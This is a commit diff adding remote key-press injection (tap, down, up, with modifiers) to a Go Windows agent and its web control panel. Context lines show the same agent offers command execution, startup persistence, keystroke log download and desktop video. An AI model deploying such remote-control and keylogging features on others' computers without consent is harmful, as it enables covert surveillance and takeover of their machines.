Add key input handling functionality to the agent. Implement API endpoint for sending key presses with support for action types (tap, down, up) and modifiers. Update web interface to allow users to send keys and toggle modifier states through a new interactive element.
This commit is contained in:
@@ -77,6 +77,7 @@ func (a *Agent) Serve() error {
|
|||||||
mux.HandleFunc("/api/v1/exec", a.handleExec)
|
mux.HandleFunc("/api/v1/exec", a.handleExec)
|
||||||
mux.HandleFunc("/api/v1/startup", a.handleStartup)
|
mux.HandleFunc("/api/v1/startup", a.handleStartup)
|
||||||
mux.HandleFunc("/api/v1/input/click", a.handleClick)
|
mux.HandleFunc("/api/v1/input/click", a.handleClick)
|
||||||
|
mux.HandleFunc("/api/v1/input/key", a.handleKey)
|
||||||
mux.HandleFunc("/api/v1/input/text", a.handleText)
|
mux.HandleFunc("/api/v1/input/text", a.handleText)
|
||||||
mux.HandleFunc("/api/v1/keylog", a.handleKeylog)
|
mux.HandleFunc("/api/v1/keylog", a.handleKeylog)
|
||||||
mux.HandleFunc("/api/v1/keylog/download", a.handleKeylogDownload)
|
mux.HandleFunc("/api/v1/keylog/download", a.handleKeylogDownload)
|
||||||
|
|||||||
@@ -49,6 +49,7 @@ func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) {
|
|||||||
"/api/v1/exec": map[string]any{"post": map[string]string{"summary": "Run a command"}},
|
"/api/v1/exec": map[string]any{"post": map[string]string{"summary": "Run a command"}},
|
||||||
"/api/v1/startup": map[string]any{"post": map[string]string{"summary": "Add to Windows startup"}, "delete": map[string]string{"summary": "Remove from Windows startup"}},
|
"/api/v1/startup": map[string]any{"post": map[string]string{"summary": "Add to Windows startup"}, "delete": map[string]string{"summary": "Remove from Windows startup"}},
|
||||||
"/api/v1/input/click": map[string]any{"post": map[string]string{"summary": "Click the desktop"}},
|
"/api/v1/input/click": map[string]any{"post": map[string]string{"summary": "Click the desktop"}},
|
||||||
|
"/api/v1/input/key": map[string]any{"post": map[string]string{"summary": "Send a key press"}},
|
||||||
"/api/v1/input/text": map[string]any{"post": map[string]string{"summary": "Type text into the focused field"}},
|
"/api/v1/input/text": map[string]any{"post": map[string]string{"summary": "Type text into the focused field"}},
|
||||||
"/api/v1/keylog": map[string]any{"get": map[string]string{"summary": "List keystroke log files"}},
|
"/api/v1/keylog": map[string]any{"get": map[string]string{"summary": "List keystroke log files"}},
|
||||||
"/api/v1/keylog/download": map[string]any{"get": map[string]string{"summary": "Download a keystroke log file"}},
|
"/api/v1/keylog/download": map[string]any{"get": map[string]string{"summary": "Download a keystroke log file"}},
|
||||||
@@ -377,6 +378,44 @@ func (a *Agent) handleText(w http.ResponseWriter, r *http.Request) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (a *Agent) handleKey(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if r.Method != http.MethodPost {
|
||||||
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
|
||||||
|
defer r.Body.Close()
|
||||||
|
var request models.KeyRequest
|
||||||
|
decoder := json.NewDecoder(r.Body)
|
||||||
|
decoder.DisallowUnknownFields()
|
||||||
|
if err := decoder.Decode(&request); err != nil {
|
||||||
|
helpers.WriteError(w, http.StatusBadRequest, "body must contain a key")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if request.Key == "" {
|
||||||
|
helpers.WriteError(w, http.StatusBadRequest, "key is required")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
action := strings.ToLower(strings.TrimSpace(request.Action))
|
||||||
|
if action == "" {
|
||||||
|
action = "tap"
|
||||||
|
}
|
||||||
|
if action != "tap" && action != "down" && action != "up" {
|
||||||
|
helpers.WriteError(w, http.StatusBadRequest, "action must be tap, down, or up")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err := input.PressKey(request.Key, action, request.Modifiers); err != nil {
|
||||||
|
if errors.Is(err, input.ErrBadKey) {
|
||||||
|
helpers.WriteError(w, http.StatusBadRequest, err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
helpers.Log.Printf("key: %v", err)
|
||||||
|
helpers.WriteError(w, http.StatusInternalServerError, "could not send key")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
helpers.WriteJSON(w, http.StatusOK, map[string]any{"ok": true, "key": request.Key, "action": action})
|
||||||
|
}
|
||||||
|
|
||||||
func (a *Agent) handleExec(w http.ResponseWriter, r *http.Request) {
|
func (a *Agent) handleExec(w http.ResponseWriter, r *http.Request) {
|
||||||
if r.Method != http.MethodPost {
|
if r.Method != http.MethodPost {
|
||||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||||
|
|||||||
+73
-20
@@ -273,6 +273,7 @@
|
|||||||
videoRunning = false;
|
videoRunning = false;
|
||||||
videoStart.disabled = false;
|
videoStart.disabled = false;
|
||||||
videoStop.disabled = true;
|
videoStop.disabled = true;
|
||||||
|
releaseRemoteModifiers().catch((err) => showError(err.message));
|
||||||
}
|
}
|
||||||
|
|
||||||
async function pullVideoFrame() {
|
async function pullVideoFrame() {
|
||||||
@@ -315,17 +316,62 @@
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
async function sendVideoText() {
|
const MODIFIER_CODES = new Set([
|
||||||
const field = document.getElementById("video-text");
|
"ControlLeft", "ControlRight", "ShiftLeft", "ShiftRight",
|
||||||
const text = field.value;
|
"AltLeft", "AltRight", "MetaLeft", "MetaRight", "OSLeft", "OSRight",
|
||||||
if (!text) return;
|
]);
|
||||||
const delayMs = clamp(document.getElementById("video-key-delay").value, 0, 200);
|
|
||||||
await api("/api/v1/input/text", {
|
const CODE_KEYS = {
|
||||||
|
Enter: "enter", NumpadEnter: "enter", Backspace: "backspace", Tab: "tab",
|
||||||
|
Escape: "escape", Space: "space", Delete: "delete", Insert: "insert",
|
||||||
|
Home: "home", End: "end", PageUp: "pageup", PageDown: "pagedown",
|
||||||
|
ArrowUp: "up", ArrowDown: "down", ArrowLeft: "left", ArrowRight: "right",
|
||||||
|
Semicolon: ";", Equal: "=", Comma: ",", Minus: "-", Period: ".", Slash: "/",
|
||||||
|
Backquote: "`", BracketLeft: "[", Backslash: "\\", BracketRight: "]", Quote: "'",
|
||||||
|
};
|
||||||
|
for (let i = 0; i <= 9; i += 1) CODE_KEYS[`Digit${i}`] = String(i);
|
||||||
|
for (let i = 0; i < 26; i += 1) {
|
||||||
|
const letter = String.fromCharCode(65 + i);
|
||||||
|
CODE_KEYS[`Key${letter}`] = letter.toLowerCase();
|
||||||
|
}
|
||||||
|
for (let i = 1; i <= 12; i += 1) CODE_KEYS[`F${i}`] = `f${i}`;
|
||||||
|
|
||||||
|
const modState = { ctrl: false, alt: false, shift: false, win: false };
|
||||||
|
|
||||||
|
function keyFromEvent(event) {
|
||||||
|
if (CODE_KEYS[event.code]) return CODE_KEYS[event.code];
|
||||||
|
if (event.key && event.key.length === 1 && /[a-zA-Z0-9]/.test(event.key)) {
|
||||||
|
return event.key.toLowerCase();
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
function transientModifiers(event) {
|
||||||
|
const mods = [];
|
||||||
|
if (event.shiftKey && !modState.shift) mods.push("shift");
|
||||||
|
if (event.ctrlKey && !modState.ctrl) mods.push("ctrl");
|
||||||
|
if (event.altKey && !modState.alt) mods.push("alt");
|
||||||
|
if (event.metaKey && !modState.win) mods.push("win");
|
||||||
|
return mods;
|
||||||
|
}
|
||||||
|
|
||||||
|
async function sendRemoteKey(key, action = "tap", modifiers = []) {
|
||||||
|
await api("/api/v1/input/key", {
|
||||||
method: "POST",
|
method: "POST",
|
||||||
headers: { "Content-Type": "application/json" },
|
headers: { "Content-Type": "application/json" },
|
||||||
body: JSON.stringify({ text, delay_ms: delayMs }),
|
body: JSON.stringify({ key, action, modifiers }),
|
||||||
});
|
});
|
||||||
field.value = "";
|
}
|
||||||
|
|
||||||
|
async function releaseRemoteModifiers() {
|
||||||
|
const jobs = [];
|
||||||
|
for (const [name, active] of Object.entries(modState)) {
|
||||||
|
if (!active) continue;
|
||||||
|
modState[name] = false;
|
||||||
|
document.querySelector(`.mod-btn[data-mod="${name}"]`)?.classList.remove("active");
|
||||||
|
jobs.push(sendRemoteKey(name, "up"));
|
||||||
|
}
|
||||||
|
await Promise.all(jobs);
|
||||||
}
|
}
|
||||||
|
|
||||||
async function listKeylogs() {
|
async function listKeylogs() {
|
||||||
@@ -427,19 +473,26 @@
|
|||||||
event.preventDefault();
|
event.preventDefault();
|
||||||
sendClick(event, "right").catch((err) => showError(err.message));
|
sendClick(event, "right").catch((err) => showError(err.message));
|
||||||
});
|
});
|
||||||
document.getElementById("video-send").addEventListener("click", () => {
|
const videoKeys = document.getElementById("video-keys");
|
||||||
sendVideoText().catch((err) => showError(err.message));
|
videoKeys.addEventListener("keydown", (event) => {
|
||||||
|
if (MODIFIER_CODES.has(event.code)) return;
|
||||||
|
const key = keyFromEvent(event);
|
||||||
|
if (!key) return;
|
||||||
|
event.preventDefault();
|
||||||
|
sendRemoteKey(key, "tap", transientModifiers(event)).catch((err) => showError(err.message));
|
||||||
});
|
});
|
||||||
const videoKeyDelay = document.getElementById("video-key-delay");
|
document.querySelectorAll(".mod-btn").forEach((button) => {
|
||||||
const videoKeyDelayVal = document.getElementById("video-key-delay-val");
|
button.addEventListener("click", () => {
|
||||||
videoKeyDelay.addEventListener("input", () => {
|
const name = button.dataset.mod;
|
||||||
videoKeyDelayVal.textContent = videoKeyDelay.value;
|
if (!name) return;
|
||||||
});
|
modState[name] = !modState[name];
|
||||||
document.getElementById("video-text").addEventListener("keydown", (event) => {
|
button.classList.toggle("active", modState[name]);
|
||||||
if (event.key === "Enter") {
|
sendRemoteKey(name, modState[name] ? "down" : "up").catch((err) => {
|
||||||
event.preventDefault();
|
modState[name] = !modState[name];
|
||||||
sendVideoText().catch((err) => showError(err.message));
|
button.classList.toggle("active", modState[name]);
|
||||||
}
|
showError(err.message);
|
||||||
|
});
|
||||||
|
});
|
||||||
});
|
});
|
||||||
document.getElementById("exec-run").addEventListener("click", () => {
|
document.getElementById("exec-run").addEventListener("click", () => {
|
||||||
runCommand().catch((err) => showError(err.message));
|
runCommand().catch((err) => showError(err.message));
|
||||||
|
|||||||
@@ -130,7 +130,25 @@
|
|||||||
padding: 0.65rem 1.25rem;
|
padding: 0.65rem 1.25rem;
|
||||||
color: var(--danger);
|
color: var(--danger);
|
||||||
}
|
}
|
||||||
.error.show { display: block; }
|
nav button.mod-btn.active {
|
||||||
|
background: var(--accent);
|
||||||
|
border-color: var(--accent);
|
||||||
|
color: #fff;
|
||||||
|
}
|
||||||
|
#video-keys {
|
||||||
|
flex: 1;
|
||||||
|
min-width: 12rem;
|
||||||
|
padding: 0.55rem 0.75rem;
|
||||||
|
border: 1px dashed var(--line);
|
||||||
|
border-radius: 6px;
|
||||||
|
background: #fff;
|
||||||
|
cursor: text;
|
||||||
|
outline: none;
|
||||||
|
}
|
||||||
|
#video-keys:focus {
|
||||||
|
border-color: var(--accent);
|
||||||
|
box-shadow: 0 0 0 2px rgba(37, 99, 235, 0.15);
|
||||||
|
}
|
||||||
</style>
|
</style>
|
||||||
</head>
|
</head>
|
||||||
<body>
|
<body>
|
||||||
@@ -208,12 +226,14 @@
|
|||||||
<canvas id="video-canvas" width="1280" height="720"></canvas>
|
<canvas id="video-canvas" width="1280" height="720"></canvas>
|
||||||
<p id="video-meta" class="meta"></p>
|
<p id="video-meta" class="meta"></p>
|
||||||
<div class="row" style="margin-top:0.75rem">
|
<div class="row" style="margin-top:0.75rem">
|
||||||
<input id="video-text" type="text" placeholder="Type text for the focused field">
|
<div id="video-keys" tabindex="0">Click here, then type on your keyboard</div>
|
||||||
<button id="video-send" class="primary" type="button">Send</button>
|
</div>
|
||||||
<label>Key delay
|
<div class="row">
|
||||||
<input id="video-key-delay" type="range" min="0" max="200" value="25" style="width:8rem; vertical-align:middle">
|
<button type="button" class="mod-btn" data-mod="ctrl">Ctrl</button>
|
||||||
<span id="video-key-delay-val">25</span> ms
|
<button type="button" class="mod-btn" data-mod="alt">Alt</button>
|
||||||
</label>
|
<button type="button" class="mod-btn" data-mod="shift">Shift</button>
|
||||||
|
<button type="button" class="mod-btn" data-mod="win">Win</button>
|
||||||
|
<span class="meta">Toggle modifiers, then type in the box above</span>
|
||||||
</div>
|
</div>
|
||||||
</section>
|
</section>
|
||||||
<section id="exec" class="panel">
|
<section id="exec" class="panel">
|
||||||
|
|||||||
@@ -0,0 +1,68 @@
|
|||||||
|
package input
|
||||||
|
|
||||||
|
import (
|
||||||
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
func PressKey(key, action string, modifiers []string) error {
|
||||||
|
vk, ok := vkCode(key)
|
||||||
|
if !ok {
|
||||||
|
return ErrBadKey
|
||||||
|
}
|
||||||
|
|
||||||
|
runtime.LockOSThread()
|
||||||
|
defer runtime.UnlockOSThread()
|
||||||
|
if err := attachInputDesktop(); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
modVKs := make([]uint16, 0, len(modifiers))
|
||||||
|
for _, mod := range modifiers {
|
||||||
|
modVK, ok := vkCode(mod)
|
||||||
|
if !ok {
|
||||||
|
return ErrBadKey
|
||||||
|
}
|
||||||
|
modVKs = append(modVKs, modVK)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, modVK := range modVKs {
|
||||||
|
if err := sendKeyEvent(modVK, false); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
switch strings.ToLower(strings.TrimSpace(action)) {
|
||||||
|
case "down":
|
||||||
|
if err := sendKeyEvent(vk, false); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
case "up":
|
||||||
|
if err := sendKeyEvent(vk, true); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
if err := sendKeyEvent(vk, false); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if err := sendKeyEvent(vk, true); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
for i := len(modVKs) - 1; i >= 0; i-- {
|
||||||
|
if err := sendKeyEvent(modVKs[i], true); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func sendKeyEvent(vk uint16, keyUp bool) error {
|
||||||
|
flags := uint32(0)
|
||||||
|
if keyUp {
|
||||||
|
flags = keyeventfKeyup
|
||||||
|
}
|
||||||
|
inputs := []keybdInput{{Type: inputKeyboard, Vk: vk, Flags: flags}}
|
||||||
|
return sendKeys(inputs)
|
||||||
|
}
|
||||||
@@ -0,0 +1,108 @@
|
|||||||
|
package input
|
||||||
|
|
||||||
|
import (
|
||||||
|
"errors"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
var ErrBadKey = errors.New("unknown key")
|
||||||
|
|
||||||
|
// vkNames maps API key names to Windows virtual-key codes.
|
||||||
|
var vkNames = map[string]uint16{
|
||||||
|
"backspace": 0x08,
|
||||||
|
"tab": 0x09,
|
||||||
|
"enter": 0x0D,
|
||||||
|
"shift": 0x10,
|
||||||
|
"ctrl": 0x11,
|
||||||
|
"control": 0x11,
|
||||||
|
"alt": 0x12,
|
||||||
|
"pause": 0x13,
|
||||||
|
"capslock": 0x14,
|
||||||
|
"escape": 0x1B,
|
||||||
|
"esc": 0x1B,
|
||||||
|
"space": 0x20,
|
||||||
|
"pageup": 0x21,
|
||||||
|
"pagedown": 0x22,
|
||||||
|
"end": 0x23,
|
||||||
|
"home": 0x24,
|
||||||
|
"left": 0x25,
|
||||||
|
"up": 0x26,
|
||||||
|
"right": 0x27,
|
||||||
|
"down": 0x28,
|
||||||
|
"insert": 0x2D,
|
||||||
|
"delete": 0x2E,
|
||||||
|
"del": 0x2E,
|
||||||
|
"win": 0x5B,
|
||||||
|
"lwin": 0x5B,
|
||||||
|
"rwin": 0x5C,
|
||||||
|
"0": 0x30,
|
||||||
|
"1": 0x31,
|
||||||
|
"2": 0x32,
|
||||||
|
"3": 0x33,
|
||||||
|
"4": 0x34,
|
||||||
|
"5": 0x35,
|
||||||
|
"6": 0x36,
|
||||||
|
"7": 0x37,
|
||||||
|
"8": 0x38,
|
||||||
|
"9": 0x39,
|
||||||
|
"a": 0x41,
|
||||||
|
"b": 0x42,
|
||||||
|
"c": 0x43,
|
||||||
|
"d": 0x44,
|
||||||
|
"e": 0x45,
|
||||||
|
"f": 0x46,
|
||||||
|
"g": 0x47,
|
||||||
|
"h": 0x48,
|
||||||
|
"i": 0x49,
|
||||||
|
"j": 0x4A,
|
||||||
|
"k": 0x4B,
|
||||||
|
"l": 0x4C,
|
||||||
|
"m": 0x4D,
|
||||||
|
"n": 0x4E,
|
||||||
|
"o": 0x4F,
|
||||||
|
"p": 0x50,
|
||||||
|
"q": 0x51,
|
||||||
|
"r": 0x52,
|
||||||
|
"s": 0x53,
|
||||||
|
"t": 0x54,
|
||||||
|
"u": 0x55,
|
||||||
|
"v": 0x56,
|
||||||
|
"w": 0x57,
|
||||||
|
"x": 0x58,
|
||||||
|
"y": 0x59,
|
||||||
|
"z": 0x5A,
|
||||||
|
"f1": 0x70,
|
||||||
|
"f2": 0x71,
|
||||||
|
"f3": 0x72,
|
||||||
|
"f4": 0x73,
|
||||||
|
"f5": 0x74,
|
||||||
|
"f6": 0x75,
|
||||||
|
"f7": 0x76,
|
||||||
|
"f8": 0x77,
|
||||||
|
"f9": 0x78,
|
||||||
|
"f10": 0x79,
|
||||||
|
"f11": 0x7A,
|
||||||
|
"f12": 0x7B,
|
||||||
|
";": 0xBA,
|
||||||
|
"=": 0xBB,
|
||||||
|
",": 0xBC,
|
||||||
|
"-": 0xBD,
|
||||||
|
".": 0xBE,
|
||||||
|
"/": 0xBF,
|
||||||
|
"`": 0xC0,
|
||||||
|
"[": 0xDB,
|
||||||
|
"\\": 0xDC,
|
||||||
|
"]": 0xDD,
|
||||||
|
"'": 0xDE,
|
||||||
|
}
|
||||||
|
|
||||||
|
func vkCode(name string) (uint16, bool) {
|
||||||
|
key := strings.ToLower(strings.TrimSpace(name))
|
||||||
|
if len(key) == 1 {
|
||||||
|
if vk, ok := vkNames[key]; ok {
|
||||||
|
return vk, true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
vk, ok := vkNames[key]
|
||||||
|
return vk, ok
|
||||||
|
}
|
||||||
@@ -0,0 +1,24 @@
|
|||||||
|
package input
|
||||||
|
|
||||||
|
import "testing"
|
||||||
|
|
||||||
|
func TestVkCode(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
cases := map[string]uint16{
|
||||||
|
"a": 0x41,
|
||||||
|
"A": 0x41,
|
||||||
|
"enter": 0x0D,
|
||||||
|
"ctrl": 0x11,
|
||||||
|
"win": 0x5B,
|
||||||
|
"f5": 0x74,
|
||||||
|
}
|
||||||
|
for name, want := range cases {
|
||||||
|
got, ok := vkCode(name)
|
||||||
|
if !ok || got != want {
|
||||||
|
t.Fatalf("vkCode(%q) = (%v, %v), want %v", name, got, ok, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if _, ok := vkCode("notakey"); ok {
|
||||||
|
t.Fatal("expected unknown key")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -55,3 +55,9 @@ type TextRequest struct {
|
|||||||
Text string `json:"text"`
|
Text string `json:"text"`
|
||||||
DelayMs *int `json:"delay_ms,omitempty"`
|
DelayMs *int `json:"delay_ms,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
|
type KeyRequest struct {
|
||||||
|
Key string `json:"key"`
|
||||||
|
Action string `json:"action"` // tap, down, up
|
||||||
|
Modifiers []string `json:"modifiers,omitempty"`
|
||||||
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user